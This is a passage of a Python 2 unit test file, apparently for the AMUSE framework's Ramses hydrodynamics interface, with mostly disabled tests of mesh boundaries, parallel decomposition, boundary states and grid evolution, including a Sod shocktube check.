100.0) instance.set_boundary("interface","interface","interface","interface","periodic","periodic") instance.commit_parameters() dx = 100.0 / 100.0 dy = 100.0 / 5.0 dz = 100.0 / 4.0 for i in [1,2]: for j in range(1,6): x,y,z,error = instance.get_boundary_position_of_index( i, j, 1, 2 ) self.assertEquals(error, 0) self.assertAlmostRelativeEquals(x, 100.0 + (0.5 * dx) + ((i-1) * dx)) self.assertAlmostRelativeEquals(y, (0.5 * dy) + ((j-1) * dy)) self.assertAlmostRelativeEquals(z, (0.5 * dz)) for i in range(1, 100 + 4 + 1): for j in [1,2]: x,y,z,error = instance.get_boundary_position_of_index( i, j, 1, 3 ) self.assertEquals(error, 0) self.assertAlmostRelativeEquals(x, (0.5 * dx) + ((i-2-1) * dx)) self.assertAlmostRelativeEquals(y, 0.0 - ((0.5 * dy) + ((j-1) * dy))) self.assertAlmostRelativeEquals(z, (0.5 * dz)) x,y,z,error = instance.get_boundary_position_of_index( i, j, 1, 4 ) self.assertEquals(error, 0) self.assertAlmostRelativeEquals(x, (0.5 * dx) + ((i-2-1) * dx)) self.assertAlmostRelativeEquals(y, 100.0 + (0.5 * dy) + ((j-1) * dy)) self.assertAlmostRelativeEquals(z, (0.5 * dz)) def xtest18(self): instance=self.new_instance(RamsesInterface) instance.initialize_code() instance.setup_mesh(3, 3, 3, 6,12,18) instance.set_boundary("interface","interface","interface","interface","interface","interface") instance.commit_parameters() dx = 6.0 / 3.0 dy = 12.0 / 3.0 dz = 18.0 / 3.0 for i in [1,2]: for j in range(1,3+1): for k in range(1,3+1): x,y,z,error = instance.get_boundary_position_of_index( i, j, k, 2 ) self.assertEquals(error, 0) self.assertAlmostRelativeEquals(x, 6.0 + (0.5 * dx) + ((i-1) * dx)) self.assertAlmostRelativeEquals(y, (0.5 * dy) + ((j-1) * dy)) self.assertAlmostRelativeEquals(z, (0.5 * dz) + ((k-1) * dz)) for i in range(1,3 + 4 +1): for j in [1,2]: for k in range(1,3+1): x,y,z,error = instance.get_boundary_position_of_index( i, j, k, 3 ) self.assertEquals(error, 0) self.assertAlmostRelativeEquals(x, (0.5 * dx) + ((i-2-1) * dx)) self.assertAlmostRelativeEquals(y, 0.0 - ((0.5 * dy) + ((j-1) * dy))) self.assertAlmostRelativeEquals(z, (0.5 * dz) + ((k-1) * dz)) x,y,z,error = instance.get_boundary_position_of_index( i, j, k, 4 ) self.assertEquals(error, 0) self.assertAlmostRelativeEquals(x, (0.5 * dx) + ((i-2-1) * dx)) self.assertAlmostRelativeEquals(y, 12.0 + (0.5 * dy) + ((j-1) * dy)) self.assertAlmostRelativeEquals(z, (0.5 * dz) + ((k-1) * dz)) for i in range(1,3 + 4 +1): for j in range(1,3 + 4 +1): for k in [1,2]: x,y,z,error = instance.get_boundary_position_of_index( i, j, k, 5 ) self.assertEquals(error, 0) self.assertAlmostRelativeEquals(x, (0.5 * dx) + ((i-2-1) * dx)) self.assertAlmostRelativeEquals(y, (0.5 * dy) + ((j-2-1) * dy)) self.assertAlmostRelativeEquals(z, 0.0 - ((0.5 * dz) + ((k-1) * dz))) x,y,z,error = instance.get_boundary_position_of_index( i, j, k, 6 ) self.assertEquals(error, 0) self.assertAlmostRelativeEquals(x, (0.5 * dx) + ((i-2-1) * dx)) self.assertAlmostRelativeEquals(y, (0.5 * dy) + ((j-2-1) * dy)) self.assertAlmostRelativeEquals(z, 18.0 + (0.5 * dz) + ((k-1) * dz)) def xtest19(self): results = [] instance=self.new_instance(RamsesInterface) instance.initialize_code() instance.commit_parameters() nx, ny, nz, error = instance.get_parallel_decomposition() self.assertEquals(error, 0) self.assertEquals(nx, 1) self.assertEquals(ny, 1) self.assertEquals(nz, 1) error = instance.set_parallel_decomposition(2,1,1) self.assertEquals(error, -1) def xtest20(self): results = [] instance=self.new_instance(RamsesInterface, number_of_workers = 4) instance.initialize_code() nx, ny, nz, error = instance.get_parallel_decomposition() self.assertEquals(error, 0) self.assertEquals(nx, 0) self.assertEquals(ny, 0) self.assertEquals(nz, 0) error = instance.set_parallel_decomposition(2,1,2) self.assertEquals(error, 0) nx, ny, nz, error = instance.get_parallel_decomposition() self.assertEquals(error, 0) self.assertEquals(nx, 2) self.assertEquals(ny, 1) self.assertEquals(nz, 2) error = instance.set_parallel_decomposition(10,3,2) self.assertEquals(error, -1) def xtest21(self): results = [] instance=self.new_instance(RamsesInterface, number_of_workers = 2) instance.initialize_code() error = instance.set_parallel_decomposition(1,2,1) self.assertEquals(error, 0) instance.setup_mesh(10,30,10,100.0, 300.0, 100.0) instance.set_boundary("interface","interface","periodic","periodic","periodic","periodic") instance.commit_parameters() for boundary_index in [1,2]: for i0 in range(1,2): for j0 in range(1, 30+1): i = j0 * 30 + i0 error = instance.set_boundary_state( i0, j0, 1, # index 1.0 * (i+1), # density 2.0 * (i+1), 3.0 * (i+1), 4.0 * (i+1), # momentum 5.0 * (i+1), # energy boundary_index # boundary ) self.assertEquals(error, 0) rho, rhovx, rhovy, rhovz, rhoen, error = instance.get_boundary_state( i0, j0, 1, boundary_index ) self.assertEquals(error, 0) self.assertAlmostRelativeEquals(rho, 1.0 * (i+1)) self.assertAlmostRelativeEquals(rhovx, 2.0 * (i+1)) self.assertAlmostRelativeEquals(rhovy, 3.0 * (i+1)) self.assertAlmostRelativeEquals(rhovz, 4.0 * (i+1)) self.assertAlmostRelativeEquals(rhoen, 5.0 * (i+1)) def xtest22(self): results = [] instance=self.new_instance(RamsesInterface, number_of_workers = 2) instance.initialize_code() error = instance.set_parallel_decomposition(2,1,1) self.assertEquals(error, 0) instance.setup_mesh(10,30,10,100.0, 300.0, 100.0) instance.set_boundary("interface","interface","periodic","periodic","periodic","periodic") instance.commit_parameters() for boundary_index in [1,2]: for i0 in range(1,2): for j0 in range(1, 30+1): i = j0 * 30 + i0 error = instance.set_boundary_state( i0, j0, 1, # index 1.0 * (i+1), # density 2.0 * (i+1), 3.0 * (i+1), 4.0 * (i+1), # momentum 5.0 * (i+1), # energy boundary_index # boundary ) self.assertEquals(error, 0) rho, rhovx, rhovy, rhovz, rhoen, error = instance.get_boundary_state( i0, j0, 1, boundary_index ) self.assertEquals(error, 0) self.assertAlmostRelativeEquals(rho, 1.0 * (i+1)) self.assertAlmostRelativeEquals(rhovx, 2.0 * (i+1)) self.assertAlmostRelativeEquals(rhovy, 3.0 * (i+1)) self.assertAlmostRelativeEquals(rhovz, 4.0 * (i+1)) self.assertAlmostRelativeEquals(rhoen, 5.0 * (i+1)) def xtest23(self): results = [] instance=self.new_instance(RamsesInterface, number_of_workers = 3) instance.initialize_code() error = instance.set_parallel_decomposition(3,1,1) self.assertEquals(error, 0) instance.setup_mesh(12,20,10,100.0, 300.0, 100.0) instance.set_boundary("interface","interface","interface","interface","periodic","periodic") instance.commit_parameters() for boundaryindex in [3,4]: for i0 in range(1,12+4+1): for j0 in [1,2]: i = (i0 * 15) + j0 error = instance.set_boundary_state( i0,j0,1, # index 1.0 * (i+1), # density 2.0 * (i+1), 3.0 * (i+1), 4.0 * (i+1), # momentum 5.0 * (i+1), # energy boundaryindex # boundary ) print i0, j0 self.assertEquals(error, 0) rho, rhovx, rhovy, rhovz, rhoen, error = instance.get_boundary_state( i0, j0, 1, boundaryindex ) self.assertEquals(error, 0) self.assertAlmostRelativeEquals(rho, 1.0 * (i+1)) self.assertAlmostRelativeEquals(rhovx, 2.0 * (i+1)) self.assertAlmostRelativeEquals(rhovy, 3.0 * (i+1)) self.assertAlmostRelativeEquals(rhovz, 4.0 * (i+1)) self.assertAlmostRelativeEquals(rhoen, 5.0 * (i+1)) def xtest24(self): results = [] instance=self.new_instance(RamsesInterface, number_of_workers = 3) instance.initialize_code() error = instance.set_parallel_decomposition(1,3,1) self.assertEquals(error, 0) instance.setup_mesh(12,30,10,100.0, 300.0, 100.0) instance.set_boundary("interface","interface","interface","interface","periodic","periodic") instance.commit_parameters() for boundaryindex in [3,4]: for i0 in range(1,12+4+1): for j0 in [1,2]: i = (i0 * 15) + j0 error = instance.set_boundary_state( i0,j0,1, # index 1.0 * (i+1), # density 2.0 * (i+1), 3.0 * (i+1), 4.0 * (i+1), # momentum 5.0 * (i+1), # energy boundaryindex # boundary ) print i0, j0 self.assertEquals(error, 0) rho, rhovx, rhovy, rhovz, rhoen, error = instance.get_boundary_state( i0, j0, 1, boundaryindex ) self.assertEquals(error, 0) self.assertAlmostRelativeEquals(rho, 1.0 * (i+1)) self.assertAlmostRelativeEquals(rhovx, 2.0 * (i+1)) self.assertAlmostRelativeEquals(rhovy, 3.0 * (i+1)) self.assertAlmostRelativeEquals(rhovz, 4.0 * (i+1)) self.assertAlmostRelativeEquals(rhoen, 5.0 * (i+1)) def xtest25(self): results = [] instance=self.new_instance(RamsesInterface, number_of_workers = 3) instance.initialize_code() error = instance.set_parallel_decomposition(1,3,1) self.assertEquals(error, 0) instance.setup_mesh(6,5,5,6.0,5.0,5.0) instance.set_boundary("interface","interface","interface","interface","interface","interface") instance.commit_parameters() for boundaryindex in [5,6]: for i0 in range(1, 6+4+1): for j0 in range(1, 5+4+1): for z0 in[1,2]: i = (i0 * (5*4)) + (j0 * 4) + z0 error = instance.set_boundary_state( i0,j0,z0, # index 1.0 * (i+1), # density 2.0 * (i+1), 3.0 * (i+1), 4.0 * (i+1), # momentum 5.0 * (i+1), # energy boundaryindex # boundary ) self.assertEquals(error, 0) rho, rhovx, rhovy, rhovz, rhoen, error = instance.get_boundary_state( i0, j0, z0, boundaryindex ) self.assertEquals(error, 0) self.assertAlmostRelativeEquals(rho, 1.0 * (i+1)) self.assertAlmostRelativeEquals(rhovx, 2.0 * (i+1)) self.assertAlmostRelativeEquals(rhovy, 3.0 * (i+1)) self.assertAlmostRelativeEquals(rhovz, 4.0 * (i+1)) self.assertAlmostRelativeEquals(rhoen, 5.0 * (i+1)) def xtest26(self): results = [] instance=self.new_instance(RamsesInterface, number_of_workers = 9) instance.initialize_code() error = instance.set_parallel_decomposition(3,3,1) instance.setup_mesh(6,6,5,6.0,6.0,5.0) self.assertEquals(error, 0) instance.set_boundary("interface","interface","interface","interface","interface","interface") instance.commit_parameters() for boundaryindex in [5,6]: for i0 in range(1,6+4+1): for j0 in range(1,6+4+1): for z0 in [1,2]: i = (i0 * (5*4)) + (j0 * 4) + z0 error = instance.set_boundary_state( i0,j0,z0, # index 1.0 * (i+1), # density 2.0 * (i+1), 3.0 * (i+1), 4.0 * (i+1), # momentum 5.0 * (i+1), # energy boundaryindex # boundary ) self.assertEquals(error, 0) rho, rhovx, rhovy, rhovz, rhoen, error = instance.get_boundary_state( i0, j0, z0, boundaryindex ) self.assertEquals(error, 0) self.assertAlmostRelativeEquals(rho, 1.0 * (i+1)) self.assertAlmostRelativeEquals(rhovx, 2.0 * (i+1)) self.assertAlmostRelativeEquals(rhovy, 3.0 * (i+1)) self.assertAlmostRelativeEquals(rhovz, 4.0 * (i+1)) self.assertAlmostRelativeEquals(rhoen, 5.0 * (i+1)) def xtest27(self): instance=RamsesInterface() instance.initialize_code() gamma, error = instance.get_gamma() self.assertAlmostRelativeEquals(gamma, 5.0 / 3.0) instance.set_gamma(1.3) gamma, error = instance.get_gamma() self.assertEquals(error, 0) self.assertAlmostRelativeEquals(gamma, 1.3) instance.stop() class TestSodShocktube(TestWithMPI): def xtest0(self): N=100 gamma=5/3. g=(gamma-1)/(gamma+1) b=(gamma-1)/2/gamma instance=RamsesInterface() instance.initialize_code() instance.setup_mesh(N,N/10,N/10,1.,0.1,0.1) instance.commit_parameters() x,y,z=numpy.indices( (N,N/10,N/10) ) x=x.flatten()+1 y=y.flatten()+1 z=z.flatten()+1 gamma=5./3. rho=0.125*numpy.ones_like(x) rhvx=0.*numpy.ones_like(x) rhvy=0.*numpy.ones_like(x) rhvz=0.*numpy.ones_like(x) en=(0.1/(gamma-1))*numpy.ones_like(x) instance.set_grid_state(x,y,z,rho,rhvx,rhvy,rhvz,en) x,y,z=numpy.indices( (N/2,N/10,N/10) ) x=x.flatten()+1 y=y.flatten()+1 z=z.flatten()+1 rho=1.*numpy.ones_like(x) rhvx=0.*numpy.ones_like(x) rhvy=0.*numpy.ones_like(x) rhvz=0.*numpy.ones_like(x) en=(1./(gamma-1))*numpy.ones_like(x) instance.set_grid_state(x,y,z,rho,rhvx,rhvy,rhvz,en) instance.initialize_grid() instance.evolve_model(0.2) x=numpy.array([0.1,0.9,0.6,0.8]) y=0.05*numpy.ones_like(x) z=0.05*numpy.ones_like(x) i,j,k,err=instance.get_index_of_position(x,y,z) rho,rhovx,rhovy,rhovz,en,err=instance.get_grid_state(i,j,k) vel=numpy.sqrt((rhovx**2+rhovy**2+rhovz**2))/rho pres=(gamma-1)*(en-0.5*rho*vel**2) u=pres/(gamma-1)/rho rhoexp=numpy.zeros_like(x) rhoexp[0]=1. rhoexp[1]=0.125 rhoexp[2]=rho[0]*(pres[2]/pres[0])**(1/gamma) rhoexp[3]=rho[1]*(pres[3]+g*pres[1])/(pres[1]+g*pres[3]) for i in range(len(rho)): self.assertAlmostEqual(rhoexp[i],rho[i],2) class TestRamses(TestWithMPI): def xtest0(self): instance=self.new_instance(Ramses) instance.initialize_code() instance.stop() def xtest1(self): instance=self.new_instance(Ramses) instance.parameters.mesh_size = (10,10,5) instance.parameters.length_x = 1.0 | generic_unit_system.length instance.parameters.length_y = 1.0 | generic_unit_system.length instance.parameters.length_z = 1.0 | generic_unit_system.length instance.parameters.x_boundary_conditions = "periodic","periodic" instance.parameters.y_boundary_conditions = "periodic","periodic" instance.parameters.z_boundary_conditions = "periodic","periodic" self.assertEquals(len(list(instance.itergrids())),1) grid = datamodel.Grid(10,10,10) grid.rho = 0.4 | generic_unit_system.density grid.rhovx = 0.1 | generic_unit_system.momentum_density grid.rhovy = 0.0 | generic_unit_system.momentum_density grid.rhovz = 0.0 | generic_unit_system.momentum_density grid.energy = 0.0 | generic_unit_system.energy_density channel = grid.new_channel_to(instance.grid) channel.copy() instance.initialize_grid() channel = instance.grid.new_channel_to(grid) channel.copy() self.assertEquals(grid[1][1][0].rho, 0.4 | generic_unit_system.density) for x in grid[1].rho.value_in(generic_unit_system.density).flatten(): self.assertEquals(x, 0.4) #instance.evolve_model(0.12 | generic_unit_system.time) #for x in instance.grid.rho.value_in(generic_unit_system.density).flatten(): # self.assertEquals(x, 0.1) #instance.evolve_model(10.0 | generic_unit_system.time) #for x in instance.grid.rho.value_in(generic_unit_system.density).flatten(): # self.assertEquals(x, 0.1) instance.stop() def xtest2(self): instance=self.new_instance(Ramses) instance.parameters.mesh_size = (3,3,3) instance.parameters.length_x = 1.0 | generic_unit_system.length instance.parameters.length_y = 1.0 | generic_unit_system.length instance.parameters.length_z = 1.0 | generic_unit_system.length instance.parameters.x_boundary_conditions = "periodic","periodic" instance.parameters.y_boundary_conditions = "periodic","periodic" instance.parameters.z_boundary_conditions = "periodic","periodic" grid = datamodel.Grid(3,3,3) grid.rho = 0.1 | generic_unit_system.density grid.rhovx = 0.0 | generic_unit_system.momentum_density grid.rhovy = 0.0 | generic_unit_system.momentum_density grid.rhovz = 0.0 | generic_unit_system.momentum_density grid.energy = 1.0 | generic_unit_system.energy_density channel = grid.new_channel_to(instance.grid) channel.copy() print instance.grid[1].rho self.assertEquals(instance.grid[1][1][0].rho, 0.1 | generic_unit_system.density) for x in instance.grid[1].rho.value_in(generic_unit_system.density).flatten(): self.assertEqual(x, 0.1) instance.evolve_model(1.0 | generic_unit_system.time) for x in instance.grid.rho.value_in(generic_unit_system.density).flatten(): self.assertEquals(x, 0.1) instance.evolve_model(10.0 | generic_unit_system.time) for x in instance.grid.rho.value_in(generic_unit_system.density).flatten(): self.assertEquals(x, 0.1) instance.stop() def xtest3(self): instance=self.new_instance(Ramses) instance.parameters.mesh_size = (5,5,5) instance.parameters.length_x = 1.0 | generic_unit_system.length instance.parameters.length_y = 1.0 | generic_unit_system.length instance.parameters.length_z = 1.0 | generic_unit_system.length instance.parameters.x_boundary_conditions = "periodic","periodic" instance.parameters.y_boundary_conditions = "periodic","periodic" instance.parameters.z_boundary_conditions = "periodic","periodic" grid = datamodel.Grid(5,5,5) grid.rho = 0.1 | generic_unit_system.density grid.rhovx = 0.0 | generic_unit_system.momentum_density grid.rhovy = 0.0 | generic_unit_system.momentum_density grid.rhovz = 0.0 | generic_unit_system.momentum_density grid.energy = 1.0 | generic_unit_system.energy_density channel = grid.new_channel_to(instance.grid) channel.copy() self.assertEquals((5,5,5), instance.acceleration_grid.shape) acc_grid = datamodel.Grid(5,5,5) acc_grid.ax = 1 | generic_unit_system.acceleration acc_grid.ay = 1 | generic_unit_system.acceleration acc_grid.az = 1 | generic_unit_system.acceleration #self.assertEquals(acc_grid.acceleration[0][0][0], ( 1,1,1) | generic_unit_system.acceleration) channel = acc_grid.new_channel_to(instance.acceleration_grid) channel.copy() instance.evolve_model(0.1 | generic_unit_system.time) self.assertAlmostRelativeEquals(instance.grid.rho, grid.rho); self.assertAlmostRelativeEquals(instance.grid.rhovx, 0.1 * 1.0 * 0.1 | generic_unit_system.momentum_density); self.assertAlmostRelativeEquals(instance.grid.rhovy, 0.1 * 1.0 * 0.1 | generic_unit_system.momentum_density); self.assertAlmostRelativeEquals(instance.grid.rhovz, 0.1 * 1.0 * 0.1 | generic_unit_system.momentum_density); instance.evolve_model(0.3 | generic_unit_system.time) print instance.model_time self.assertAlmostRelativeEquals(instance.grid.rho, grid.rho); self.assertAlmostRelativeEquals(instance.grid.rhovx, grid.rho * instance.model_time * acc_grid.ax,2); self.assertAlmostRelativeEquals(instance.grid.rhovy, grid.rho * instance.model_time * acc_grid.ay,2); self.assertAlmostRelativeEquals(instance.grid.rhovz, grid.rho * instance.model_time * acc_grid.az,2); instance.stop() def xtest4(self): converter = generic_unit_converter.ConvertBetweenGenericAndSiUnits( 1 | units.parsec, 1 | units.Myr, 1 | units.MSun ) instance=self.new_instance(Ramses, unit_converter = converter) instance.parameters.mesh_size = (3,3,3) instance.parameters.length_x = 1.0 | units.parsec instance.parameters.length_y = 1.0 | units.parsec instance.parameters.length_z = 1.0 | units.parsec instance.parameters.x_boundary_conditions = "periodic","periodic" instance.parameters.y_boundary_conditions = "periodic","periodic" instance.parameters.z_boundary_conditions = "periodic","periodic" instance.commit_parameters() density = units.MSun / (units.parsec ** 3) grid = datamodel.Grid(3,3,3) grid.rho = 0.1 | density grid.rhovx = 0.0 | units.MSun / (units.Myr * units.parsec ** 2 ) grid.rhovy = 0.0 | units.MSun / (units.Myr * units.parsec ** 2 ) grid.rhovz = 0.0 | units.MSun / (units.Myr * units.parsec ** 2 ) grid.energy = 1.0 | units.MSun / (units.parsec * units.Myr ** 2) channel = grid.new_channel_to(instance.grid) channel.copy() print instance.grid[1].rho self.assertAlmostRelativeEquals(instance.grid[1][1][0].rho, 0.1 | density) for x in instance.grid[1].rho.value_in(density).flatten(): self.assertAlmostRelativeEquals(x, 0.1) instance.evolve_model(1.0 | units.Myr) for x in instance.grid.rho.value_in(density).flatten(): self.assertAlmostRelativeEquals(x, 0.1) instance.evolve_model(10.0 | units.Myr) for x in instance.grid.rho.value_in(density).flatten(): self.assertAlmostRelativeEquals(x, 0.1) instance.stop() def xtest5(self): instance=self.new_instance(Ramses) instance.parameters.mesh_size = (10 , 4, 4) instance.parameters.mesh_length = [1.0, 1.0, 1.0] | generic_unit_system.length instance.parameters.x_boundary_conditions = ("interface", "outflow") instance.parameters.y_boundary_conditions = ("periodic", "periodic") instance.parameters.z_boundary_conditions = ("periodic", "periodic") instance.parameters.stopping_conditions_number_of_steps = 1 gamma = 5.0 / 3.0 grid = datamodel.new_regular_grid((10,4,4), [1.0, 1.0, 1.0] | generic_unit_system.length ) density = generic_unit_system.density momentum = generic_unit_system.speed * generic_unit_system.density energy = generic_unit_system.mass / ((generic_unit_system.time**2) * generic_unit_system.length) grid.rho = 0.01 | density grid.rhovx = 0.1 | momentum grid.rhovy = 0.0 | momentum grid.rhovz = 0.0 | momentum p = 1.0 | (generic_unit_system.mass / (generic_unit_system.length * generic_unit_system.time**2)) grid.energy = p / (gamma - 1) grid.energy += 0.5 * (grid.rhovx ** 2 + grid.rhovy ** 2 + grid.rhovz ** 2) / grid.rho channel = grid.new_channel_to(instance.grid) channel.copy() instance.stopping_conditions.number_of_steps_detection.enable() #instance.grid.boundaries.left. xbound1 = instance.get_boundary_grid('xbound1') self.assertEquals(xbound1.shape, (2,4,4)) memxbound1 = xbound1.copy() memxbound1.rho = 0.02 | density memxbound1.rhovx = 0.2 | momentum memxbound1.rhovy = 0.0 | momentum memxbound1.rhovz = 0.0 | momentum memxbound1.energy = p / (gamma - 1) memxbound1.energy += 0.5 * (memxbound1.rhovx ** 2 + memxbound1.rhovy ** 2 + memxbound1.rhovz ** 2) / memxbound1.rho channel = memxbound1.new_channel_to(xbound1) channel.copy() instance.evolve_model(1.0 | generic_unit_system.time) self.assertTrue(instance.stopping_conditions.number_of_steps_detection.is_set()) rho = instance.grid.rho[...,0,0] print rho print instance.model_time self.assertAlmostRelativeEquals(rho[-1], 0.01 | density) self.assertTrue(rho[0] > 0.01 | density) self.assertTrue(instance.grid.rhovx[0,0,0] > 0.1 | momentum) self.assertAlmostRelativeEquals(instance.grid.rhovx[-1,0,0] , 0.1 | momentum) instance.stopping_conditions.number_of_steps_detection.disable() instance.evolve_model(1.0 | generic_unit_system.time) print instance.model_time rho = instance.grid.rho[...,0,0] print rho self.assertAlmostRelativeEquals(rho, 0.02 | density, 8) self.assertAlmostRelativeEquals(instance.grid.rhovx[...,0,0], 0.2 | momentum, 8) print instance.model_time instance.stop() def xtest6(self): instance=self.new_instance(Ramses) instance.parameters.mesh_size = (10 , 4, 4) instance.parameters.mesh_length = [1.0, 1.0, 1.0] | generic_unit_system.length instance.parameters.x_boundary_conditions = ("outflow", "interface") instance.parameters.y_boundary_conditions = ("periodic", "periodic") instance.parameters.z_boundary_conditions = ("periodic", "periodic") instance.parameters.stopping_conditions_number_of_steps = 1 gamma = 5.0 / 3.0 grid = datamodel.new_regular_grid((10,4,4), [1.0, 1.0, 1.0] | generic_unit_system.length ) density = generic_unit_system.density momentum = generic_unit_system.speed * generic_unit_system.density energy = generic_unit_system.mass / ((generic_unit_system.time**2) * generic_unit_system.length) grid.rho = 0.01 | density grid.rhovx = -0.1 | momentum grid.rhovy = 0.0 | momentum grid.rhovz = 0.0 | momentum p = 1.0 | (generic_unit_system.mass / (generic_unit_system.length * generic_unit_system.time**2)) grid.energy = p / (gamma - 1) grid.energy += 0.5 * (grid.rhovx ** 2 + grid.rhovy ** 2 + grid.rhovz ** 2) / grid.rho channel = grid.new_channel_to(instance.grid) channel.copy() instance.stopping_conditions.number_of_steps_detection.enable() #instance.grid.boundaries.left. xbound = instance.get_boundary_grid('xbound2') self.assertEquals(xbound.shape, (2,4,4)) memxbound = xbound.copy() memxbound.rho = 0.02 | density memxbound.rhovx = -0.2 | momentum memxbound.rhovy = 0.0 | momentum memxbound.rhovz = 0.0 | momentum memxbound.energy = p / (gamma - 1) memxbound.energy += 0.5 * (memxbound.rhovx ** 2 + memxbound.rhovy ** 2 + memxbound.rhovz ** 2) / memxbound.rho channel = memxbound.new_channel_to(xbound) channel.copy() instance.evolve_model(1.0 | generic_unit_system.time) self.assertTrue(instance.stopping_conditions.number_of_steps_detection.is_set()) rho = instance.grid.rho[...,0,0] print rho print instance.model_time self.assertAlmostRelativeEquals(rho[0], 0.01 | density) self.assertTrue(rho[-1] > 0.01 | density) self.assertTrue(instance.grid.rhovx[-1,0,0] < -0.1 | momentum) self.assertAlmostRelativeEquals(instance.grid.rhovx[0,0,0] , -0.1 | momentum) instance.stopping_conditions.number_of_steps_detection.disable() instance.evolve_model(1.0 | generic_unit_system.time) rho = instance.grid.rho[...,0,0] self.assertAlmostRelativeEquals(rho, 0.02 | density, 8) self.assertAlmostRelativeEquals(instance.grid.rhovx[...,0,0], -0.2 | momentum, 8) print instance.model_time instance.stop() def xtest7(self): instance=self.new_instance(Ramses, number_of_workers = 2) instance.set_parallel_decomposition(1,2,1) instance.parameters.mesh_size = (10,4,4) instance.parameters.mesh_length = [1.0, 1.0, 1.0] | generic_unit_system.length instance.parameters.x_boundary_conditions = ("interface", "outflow") instance.parameters.y_boundary_conditions = ("periodic", "periodic") instance.parameters.stopping_conditions_number_of_steps = 1 gamma = 5.0 / 3.0 grid = datamodel.new_regular_grid((10,4,4), [1.0, 1.0, 1.0] | generic_unit_system.length ) density = generic_unit_system.density momentum = generic_unit_system.speed * generic_unit_system.density energy = generic_unit_system.mass / ((generic_unit_system.time**2) * generic_unit_system.length) grid.rho = 0.01 | density grid.rhovx = 0.1 | momentum grid.rhovy = 0.0 | momentum grid.rhovz = 0.0 | momentum p = 1.0 | (generic_unit_system.mass / (generic_unit_system.length * generic_unit_system.time**2)) grid.energy = p / (gamma - 1) grid.energy += 0.5 * (grid.rhovx ** 2 + grid.rhovy ** 2 + grid.rhovz ** 2) / grid.rho channel = grid.new_channel_to(instance.grid) channel.copy() instance.stopping_conditions.number_of_steps_detection.enable() #instance.grid.boundaries.left. xbound1 = instance.get_boundary_grid('xbound1') self.assertEquals(xbound1.shape, (2,4,4)) memxbound1 = xbound1.copy() memxbound1.rho = 0.02 | density memxbound1.rhovx = 0.2 | momentum memxbound1.rhovy = 0.0 | momentum memxbound1.rhovz = 0.0 | momentum memxbound1.energy = p / (gamma - 1) memxbound1.energy += 0.5 * (memxbound1.rhovx ** 2 + memxbound1.rhovy ** 2 + memxbound1.rhovz ** 2) / memxbound1.rho channel = memxbound1.new_channel_to(xbound1) channel.copy() instance.evolve_model(1.0 | generic_unit_system.time) self.assertTrue(instance.stopping_conditions.number_of_steps_detection.is_set()) rho = instance.grid.rho[...,0,0] print rho print instance.model_time self.assertAlmostRelativeEquals(rho[-1], 0.01 | density) self.assertTrue(rho[0] > 0.01 | density) self.assertTrue(instance.grid.rhovx[0,0,0] > 0.1 | momentum) self.assertAlmostRelativeEquals(instance.grid.rhovx[-1,0,0] , 0.1 | momentum) instance.stopping_conditions.number_of_steps_detection.disable() instance.evolve_model(1.0 | generic_unit_system.time) print instance.model_time rho = instance.grid.rho[...,0,0] print rho self.assertAlmostRelativeEquals(rho, 0.02 | density, 8) self.assertAlmostRelativeEquals(instance.grid.rhovx[...,0,0], 0.2 | momentum, 8) print instance.model_time instance.stop() def xtest8(self): instance=self.new_instance(Ramses, number_of_workers = 1) #instance.set_parallel_decomposition(2,1,1) instance.parameters.mesh_size = (4,10,4) instance.parameters.mesh_length = [1.0, 1.0, 1.0] | generic_unit_system.length instance.parameters.x_boundary_conditions = ("periodic", "periodic") instance.parameters.y_boundary_conditions = ("interface", "outflow") instance.parameters.z_boundary_conditions = ("periodic", "periodic") instance.parameters.stopping_conditions_number_of_steps = 1 gamma = 5.0 / 3.0 grid = datamodel.new_regular_grid((4,10,4), [1.0, 1.0, 1.0] | generic_unit_system.length ) density = generic_unit_system.density momentum = generic_unit_system.speed * generic_unit_system.density energy = generic_unit_system.mass / ((generic_unit_system.time**2) * generic_unit_system.length) grid.rho = 0.01 | density grid.rhovx = 0.0 | momentum grid.rhovy = 0.1 | momentum grid.rhovz = 0.0 | momentum p = 1.0 | (generic_unit_system.mass / (generic_unit_system.length * generic_unit_system.time**2)) grid.energy = p / (gamma - 1) grid.energy += 0.5 * (grid.rhovx ** 2 + grid.rhovy ** 2 + grid.rhovz ** 2) / grid.rho channel = grid.new_channel_to(instance.grid) channel.copy() instance.stopping_conditions.number_of_steps_detection.enable() ybound = instance.get_boundary_grid('ybound1') self.assertEquals(ybound.shape, (4+4,2,4)) memybound = ybound.copy() memybound.rho = 0.02 | density memybound.rhovx = 0.0 | momentum memybound.rhovy = 0.2 | momentum memybound.rhovz = 0.0 | momentum memybound.energy = p / (gamma - 1) memybound.energy += 0.5 * (memybound.rhovx ** 2 + memybound.rhovy ** 2 + memybound.rhovz ** 2) / memybound.rho channel = memybound.new_channel_to(ybound) channel.copy() instance.evolve_model(1.0 | generic_unit_system.time) print instance.stopping_conditions.number_of_steps_detection.is_set() print instance.grid.rho[0,...,0] rho = instance.grid.rho[0,...,0] self.assertAlmostRelativeEquals(rho[-1], 0.01 | density) self.assertTrue(rho[0] > 0.01 | density) self.assertTrue(instance.grid.rhovy[0,0,0] > 0.1 | momentum) self.assertAlmostRelativeEquals(instance.grid.rhovy[0,-1,0] , 0.1 | momentum) print instance.model_time instance.stopping_conditions.number_of_steps_detection.disable() instance.evolve_model(1.0 | generic_unit_system.time) rho = instance.grid.rho[0,...,0] self.assertAlmostRelativeEquals(rho, 0.02 | density, 8) self.assertAlmostRelativeEquals(instance.grid.rhovy[0,...,0], 0.2 | momentum, 8) print instance.model_time instance.stop() def xtest9(self): instance=self.new_instance(Ramses, number_of_workers = 1) #instance.set_parallel_decomposition(2,1,1) instance.parameters.mesh_size = (4,10,4) instance.parameters.mesh_length = [1.0, 1.0, 1.0] | generic_unit_system.length instance.parameters.x_boundary_conditions = ("periodic", "periodic") instance.parameters.y_boundary_conditions = ("outflow", "interface") instance.parameters.z_boundary_conditions = ("periodic", "periodic") instance.parameters.stopping_conditions_number_of_steps = 1 gamma = 5.0 / 3.0 grid = datamodel.new_regular_grid((4,10,4), [1.0, 1.0, 1.0] | generic_unit_system.length ) density = generic_unit_system.density momentum = generic_unit_system.speed * generic_unit_system.density energy = generic_unit_system.mass / ((generic_unit_system.time**2) * generic_unit_system.length) grid.rho = 0.01 | density grid.rhovx = 0.0 | momentum grid.rhovy = -0.1 | momentum grid.rhovz = 0.0 | momentum p = 1.0 | (generic_unit_system.mass / (generic_unit_system.length * generic_unit_system.time**2)) grid.energy = p / (gamma - 1) grid.energy += 0.5 * (grid.rhovx ** 2 + grid.rhovy ** 2 + grid.rhovz ** 2) / 